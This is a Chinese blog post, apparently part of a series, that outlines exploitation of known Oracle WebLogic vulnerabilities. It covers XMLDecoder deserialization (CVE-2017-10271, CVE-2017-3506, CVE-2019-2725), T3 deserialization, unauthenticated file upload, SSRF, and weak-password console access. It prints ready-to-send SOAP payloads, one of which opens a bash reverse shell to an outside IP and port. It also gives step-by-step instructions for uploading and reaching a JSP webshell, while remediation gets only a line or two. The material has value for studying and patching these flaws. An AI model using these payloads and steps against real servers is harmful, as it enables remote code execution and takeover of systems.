继续整理有关中间件漏洞思路(仅做简单思路整理,不是复现,复现请参考大佬们的长篇好文,会在文章中列举部分操作)

WebLogic是Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件

WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中

支持的内容比tomcat、Jboss都多,是个全能型的应用服务器

下载链接:https://www.oracle.com/middleware/technologies/weblogic.html

感谢老铁的共享oracle账户密码(搜一搜网上有很多)

安装流程参考:https://www.cnblogs.com/xrg-blog/p/12779853.html

https://blog.csdn.net/acmman/article/details/70093877

JDK需要符合版本,不然容易悲剧

1.XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令

受害版本:

  • 10.3.6.0
  • 12.1.3.0.0
  • 12.2.1.1.0
  • 12.2.1.2.0

如果存在此漏洞,则访问此路径xxxxxxxxxx:7001/xxx

(xxx可以是

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
即在wls-wsat包中的uri)

以/wls-wsat/CoordinatorPortType11为例

正常是404, 如果成功访问此页面,说明可能有漏洞

改成POST方式传包,将content-type改成text/xml类型,并在POST数据包下构造内容:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  <java version="1.6.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
          <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string>
                <void method="println">
<string>hello world</string>
                </void>
                <void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问 /wls_internal/test.txt会显示hello world(写进路径去了)

注意:servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt不一定是这个路径,根据版本不同还可能是下面这个或者其他什么的,具体需要自己判断

servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war

也可以换成其他的操作都可以,比如类似这种反弹的,hello world也可以换成shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.43.248/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

为了避免CVE-2017-3506补丁的影响,可将object换成void,实现CVE-2017-10271

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello world"); %>
]]>
</string>
</void>
<void method="close"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

复现参考:https://blog.csdn.net/yumengzth/article/details/97522783

漏洞代码层面原理分析参考:https://blog.51cto.com/skytina/2055335

修复有人说删除组件的,,,就别用这些版本的好了

或者限制wls-wsat访问

CVE-2017-3506是CVE-2017-10271的前身,都是利用wls-wsat的,见上文,不说了

2.Weblogic wls9_async_response,wls-wsat 反序列化远程代码执行漏洞(CVE-2019-2725)

影响组件:bea_wls9_async_response.war, wls-wsat.war

影响版本:10.3.6.0, 12.1.3.0

复现参考:https://blog.csdn.net/yeshankuangrenaaaaa/article/details/107533194

访问路径/_async/AsyncResponseService如果不是404而是

类似这种

说明你不对劲

以下路径均为收到影响的路径

/_async/AsyncResponseService

/_async/AsyncResponseServiceJms

/_async/AsyncResponseServiceHttps

其可视为CVE-2017-10271的思想延续。。。

CVE-2017-3506的补丁过滤了object

CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的

CVE-2019-2725的补丁新增了部分内容,将class加入了黑名单,限制了array标签中的byte长度

POC根据版本与利用链不同而五花八门。。。

复现参考:https://www.secpulse.com/archives/122235.html

https://www.freebuf.com/vuls/206374.html

https://blog.csdn.net/weixin_41598660/article/details/111247208

https://www.cnblogs.com/null1433/p/12674614.html

3.Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

影响版本:

Weblogic 10.3.6.0
 Weblogic 12.1.3.0
 Weblogic 12.2.1.2
 Weblogic 12.2.1.3

该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令

常利用的姿势是通过ysoserial的JRMP模块进行远程代码执行。。。

复现及原理参考:https://www.bilibili.com/read/cv5838869/

原理参考:

https://xz.aliyun.com/t/8073

https://www.freebuf.com/vuls/169420.html

https://www.freebuf.com/vuls/169322.html

4.Weblogic 任意文件上传漏洞(CVE-2018-2894)

Weblogic管理端未授权的两个页面存在任意文件上传漏洞,进而获取服务器权限

weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3受到影响

登录后台页面,点base_domain的配置,在 ‘高级’ 中勾选 ‘启用 Web 服务测试页’ 选项,然后保存配置

访问ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录,访问这个目录是无需权限的(如果能改的话)

然后点击 ‘安全’ -> ‘添加’ ,可以上传jsp大马

访问这个上传的马还需要利用时间戳(抓返回包获得)

访问http://IP:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

复现参考:https://www.cnblogs.com/huasheng333/p/13222818.html

https://blog.csdn.net/weixin_43625577/article/details/97001677

访问ws_utc/begin.do,也存在上传点,也可以传webshell,还是,抓返回包中的webshell路径,访问之

用新版的吧

5.Weblogic SSRF漏洞 (CVE-2014-4210)

影响版本:10.0.2.0, 10.3.6.0

访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,不是404,则可能存在此漏洞

在页面上,填写任意信息,抓包,点击search

参数operator为SSRF可控参数

通过访问不同IP 和port,观察返回值,来探测IP与端口开放状态

直接删掉SearchPublicRegistries.jsp

复现参考:https://www.bilibili.com/read/cv8820050

https://www.cnblogs.com/bmjoker/p/9759761.html

6.Weblogic 弱口令 && 后台getshell

额,能访问登录界面,存在弱口令问题的(参考https://cirt.net/passwords?criteria=WebLogic),例如访问

http://127.0.0.1:7001/console

就能跳转到登录界面,弱口令走着

可以通过部署、安装

传war包,安装,启动安装的应用,访问之

复现参考:https://www.cnblogs.com/bmjoker/p/9822886.html

https://www.cnblogs.com/null1433/p/12684170.html

所以说,要避免弱口令

我倒是很喜欢弱口令

永远的神or万恶之源?

未经允许,禁止转载

常见web中间件漏洞(五)weblogic漏洞的更多相关文章

  1. 常见web中间件漏洞(一)IIS漏洞

    web中间件作为web安全的重要一块,经常会有人问balabala,虽然有很多已经人尽皆知并且基本不再构成威胁了,但是还是有必要说一下,了解历史,了解我们从哪里来 鉴于内容实在是太多,本来打算一起写完 ...

  2. 常见web中间件漏洞(四)Tomcat漏洞

    这部分好久没写了,继续更新web中间件漏洞思路整理(不复现) ,争取...整理完 前几篇指路链接: nginx: https://www.cnblogs.com/lcxblogs/p/13596239 ...

  3. 常见web中间件漏洞(三)Nginx漏洞

    nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务,有  开源,内存占用少,并发能力强,自由模块化,支持epoll模型,可限制连接数,支持热部署,简单 ...

  4. 常见web中间件漏洞(二)Apache漏洞

    Apache(总联想到武直那个)是最常见,使用人数最多的一款web服务器软件.跨平台,多扩展,开源,用过的人都说好 Apache的漏洞主要集中在解析漏洞这一块 1.未知扩展名解析漏洞 Apache的一 ...

  5. Web中间件 - 常见漏洞总结

    *文章来源:https://blog.egsec.cn/archives/472 *本文将主要说明:Web中间件常见漏洞的产生原因以及修复方案 什么是Web中间件? 百度百科是这样解释的:中间件是介于 ...

  6. Web中间件常见漏洞总结

    一.IIS中间组件: 1.PUT漏洞 2.短文件名猜解 3.远程代码执行 4.解析漏洞 二.Apache中间组件: 1.解析漏洞 2.目录遍历 三.Nginx中间组件: 1.文件解析 2.目录遍历 3 ...

  7. 常见 WEB 安全漏洞(转)

    SQL注入 成因:程序未对用户的输入的内容进行过滤,从而直接代入数据库查询,所以导致了sql 注入 漏洞 . 思路:在URL处可以通过 单引号 和 and 1=1 and 1=2 等语句进行手工测试s ...

  8. [WEB安全]Weblogic漏洞总结

    0x01 Weblogic简介 1.1 叙述 Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开 ...

  9. 常见WEB开发安全漏洞 原因分析及解决

    目 录 1 会话标识未更新 3 1.1 原因 3 1.2 解决 3 2 SQL注入 3 2.1 原因 3 2.2 解决 5 3 XSS跨站脚本编制 5 3.1 原因 5 3.2 解决 5 4 XSRF ...

随机推荐

  1. dev c++自动添加初始源代码

    1.打开 dec v++ 2.工具--编辑器属性 3."代码"选项卡,点击"缺省源" 7.选择"向项目初始源文件插入代码" 8.下面插入下面 ...

  2. Python爬取网易云热歌榜所有音乐及其热评

    获取特定歌曲热评: 首先,我们打开网易云网页版,击排行榜,然后点击左侧云音乐热歌榜,如图: 关于如何抓取指定的歌曲的热评,参考这篇文章,很详细,对小白很友好: 手把手教你用Python爬取网易云40万 ...

  3. QT从入门到入土(四)——多线程

    引言 前面几篇已经对C++的线程做了简单的总结,浅谈C++11中的多线程(三) - 唯有自己强大 - 博客园 (cnblogs.com).本篇着重于Qt多线程的总结与实现. 跟C++11中很像的是,Q ...

  4. 手把手0基础Centos下安装与部署paddleOcr 教程

    !!!以下内容为作者原创,首发于个人博客园&掘金平台.未经原作者同意与许可,任何人.任何组织不得以任何形式转载.原创不易,如果对您的问题提供了些许帮助,希望得到您的点赞支持. 0.paddle ...

  5. 入门 - SpringBoot 2.x 使用 JWT

    JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,本文介绍它的原理和用法 一.跨域认证遇到的问题 由于多终端的出现,很多的站点通过 web api restful 的形式对外 ...

  6. ubuntu平台下,字符集的转换命令iconv

    iconv命令格式 iconv -f 源字符集(要转换文件的字符集) -t 目标字符集  file iconv -f gb18030 -t utf-8 file 默认情况下,不改变原文件,输出到屏幕. ...

  7. python -- 程序异常与调试(异常处理)

    一.异常处理 针对在运行时可能会出错的语句块,可以提前设计好出现问题后的解决方案, 或者给出相应的提示信息.使用try-except语句来处理Python抛出的异常: # -------------- ...

  8. JDK的环境变量配置(详细步骤)

    JDK环境变量配置的步骤(Windows10) 一.下载并安装JDK 选择一个JDK版本下载并安装到电脑上. 二.环境变量的配置 1.安装完成JDK后的配置环境变量: 首先鼠标右击"计算机& ...

  9. Selnium + POM + Pytest:学习记录

    简介 selenium POM Pytest 结合,通过Pytest fixture 来传递Driver 保证一个测试用例[1] :driver[1] 学习记录 插件包 selenium: 操作浏览器 ...

  10. 为了让她学画画——熬夜用canvas实现了一个画板

    前言 大家好,我是Fly, canvas真是个强大的东西,每天沉迷这个无法自拔, 可以做游戏,可以对图片处理,后面会给大家分享一篇,canvas实现两张图片找不同的功能, 听着是不是挺有意思的, 有点 ...